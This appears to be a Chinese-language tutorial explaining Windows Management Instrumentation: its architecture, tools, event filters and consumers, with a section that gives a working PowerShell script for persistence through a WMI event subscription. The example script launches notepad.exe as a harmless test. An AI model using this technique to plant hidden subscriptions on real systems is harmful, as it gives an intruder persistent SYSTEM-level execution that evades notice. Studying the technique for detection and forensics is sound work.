WMI (Windows Management Instrumentation,Windows管理規范) 從Windows 2000開始被包含於操作系統后,就一直是Windows操作系統的一部分。這項技術對於系統管理員來說具有巨大價值,因為它提供了提取所有類型信息、配置組件和基於系統數個組件的狀態采取行動等方式。由於這種靈活性,且被早早地被包含於操作系統中,攻擊者們便看到了它的潛力,並且已經開始濫用這項技術。
WMI 架構
-
WMI 使用 CIM 和 WBEM 標准以執行以下操作:
- 提供一個對象架構來描述“托管組件”
- 提供一種填充對象的方法 --- 比如:WMI提供程序
- 存儲持久化對象 --- WMI/CIM存儲庫
- 對象查詢 --- WQL(WMI Query Language)
- 傳輸對象數據 --- 類(class)方法、事件等
-
持久化 WMI 對象被保存在 WMI 存儲庫中:
- %SystemRoot%\System32\wbem\Repository\OBJECTS.DATA
- %SystemRoot%\System32\wbem\Repository\FS\OBJECTS.DATA
- 對於數據取證很有價值
-
WMI設置:
- HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM
- Win32_WmiSetting class
WMI 交互工具
- Powershell --- 內置
- wmic.exe --- 內置
- Sapien WMI Explorer --- 商業工具
- wbemtest.exe --- 內置
- winrm.exe --- 內置
- Windows 腳本宿主語言:
- VBScript
- JScript
- IWbem* COM API
- .NET System.Management classes
遠程 WMI
- 遠程 WMI 協議 - DCOM
- 遠程 WMI 協議 - WinRM/PowerShell Remoting
WMI 事件
- WMI 可以觸發任何可接收的事件,對於攻擊者和防御者都很有價值
- 三個條件:
- Filter - 觸發事件需要的動作
- Consumer - 事件被觸發時的動作
- Binding - 注冊綁定一對 Filter <--> Consumer
- 本地事件生命周期即為宿主進程的運行時間
- 永久性的 WMI 事件是持久性駐留的,並且以SYSTEM權限運行
1. WMI 事件類型
- 內部事件(Intrinsic)
- 內部事件作為系統類存在於每個命名空間
- 攻擊者/防御者可以靈活地使用這些事件
- 需要在輪詢間隔時間內進行捕獲,使用需謹慎
- 可能會錯過事件觸發(因為輪詢?)
__NamespaceOperationEvent __ClassCreationEvent
__NamespaceModificationEvent __InstanceOperationEvent
__NamespaceDeletionEvent __InstanceCreationEvent
__NamespaceCreationEvent __MethodInvocationEvent
__ClassOperationEvent __InstanceModificationEvent
__ClassDeletionEvent __InstanceDeletionEvent
__ClassModificationEvent __TimerEvent
__ConsumerFailureEvent __EventDroppedEvent
__EventQueueOverflowEvent __MethodInvocationEvent
- 外部事件(Extrinsic)
- 外部事件作為非系統類可被立即觸發
- 不會錯過事件的觸發
- 通常不包含太多信息
ROOT\CIMV2:Win32_ComputerShutdownEvent
ROOT\CIMV2:Win32_IP4RouteTableEvent
ROOT\CIMV2:Win32_ProcessStartTrace
ROOT\CIMV2:Win32_ModuleLoadTrace
ROOT\CIMV2:Win32_ThreadStartTrace
ROOT\CIMV2:Win32_VolumeChangeEvent
ROOT\CIMV2:Msft_WmiProvider*
ROOT\DEFAULT:RegistryKeyChangeEvent
ROOT\DEFAULT:RegistryValueChangeEvent
... ...
2. WMI 事件 - Filters
- 被觸發事件的定義
- WMI查詢語句的形式來指定
- 注意性能消耗
- 內部事件查詢(由於輪詢方式,需要使用 WITHIN 子句指定輪詢間隔)
- SELECT * FROM __InstanceOperationEvent WITHIN 30 WHERE
((__CLASS = "__InstanceCreationEvent" OR __CLASS = "__InstanceModificationEvent") AND TargetInstance ISA "CIM_DataFile") AND (TargetInstance.Extension = "doc") OR (TargetInstance.Extension = "docx") --- 每隔30秒查詢一次后綴為"doc"和"docx"的文件操作
- SELECT * FROM __InstanceOperationEvent WITHIN 30 WHERE
- 外部事件查詢(等效於實時)
- SELECT * FROM Win32_VolumeChangeEvent WHERE EventType = 2 --- 可移動設備(EventType=2)插拔
3. WMI 事件 - Consumers
-
事件觸發時執行該動作
-
標准的事件消費者:
- LogFileEventConsumer
- ActiveScriptEventConsumer
- NTEventLogEventConsumer
- SMTPEventConsumer
- CommandLineEventConsumer
- ScriptingStandardConsumerSetting
具體參見:https://docs.microsoft.com/en-us/windows/win32/wmisdk/standard-consumer-classes
-
出現在下列命名空間中:
- ROOT\CIMV2
- ROOT\DEFAULT
- ROOT\subscription
WMI 攻擊
WMI 腳本宿主進程:%SystemRoot%\system32\wbem\scrcons.exe
這里只測試以下持久化駐留。
最終效果是:系統啟動后200至300秒間,相應事件每隔60秒進行一次的輪詢觸發,則執行notepad.exe。
$filterName = "testFilter"
$consumerName = 'testComsumer'
$binpath = 'C:\windows\system32\notepad.exe'
$query = "select * from __InstanceModificationEvent within 60 where TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 200 AND TargetInstance.SystemUptime < 300"
# 創建Filter
$wmiEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name=$filterName;EventNameSpace="root\cimv2";QueryLanguage="WQL";Query=$query} -ErrorAction Stop
# 創建Consumer
$wmiEventConsumer = Set-WmiInstance -Class CommandLineEventConsumer -NameSpace "root\subscription" -Arguments @{Name=$consumerName;CommandLineTemplate=$binpath}
# 綁定Filter和COnsumer
Set-WmiInstance -Class __FilterToConsumerBinding -NameSpace "root\subscription" -Arguments @{Filter=$wmiEventFilter;Consumer=$wmiEventConsumer}
參考:
https://www.darkoperator.com/blog/2017/10/14/basics-of-tracking-wmi-activity
https://pentestlab.blog/2020/01/21/persistence-wmi-event-subscription/
https://threathunterplaybook.com/notebooks/windows/03_persistence/WIN-190810170510.html